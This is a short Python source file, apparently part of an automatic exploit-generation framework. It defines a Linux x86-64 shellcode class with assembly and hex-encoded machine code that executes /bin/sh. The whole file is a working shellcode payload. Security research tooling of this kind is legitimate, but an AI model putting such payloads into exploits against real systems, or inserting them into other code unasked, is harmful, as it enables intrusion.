
import binascii

from rex.exploit.shellcode import Shellcode


class LinuxAMD64Binsh(Shellcode):

    # TODO: should be 'linux' once CLE can identify linux files
    os = ["unix"]
    arches = ["AMD64"]
    name = "binsh"
    asm = """
push	0x68
movabs	rax, 0x732f2f2f6e69622f
push	rax
mov	rdi, rsp
xor	esi, esi
push	0x3b
pop	rax
cdq
syscall
"""
    code = binascii.unhexlify("6a6848b82f62696e2f2f2f73504889e731f66a3b58990f05")
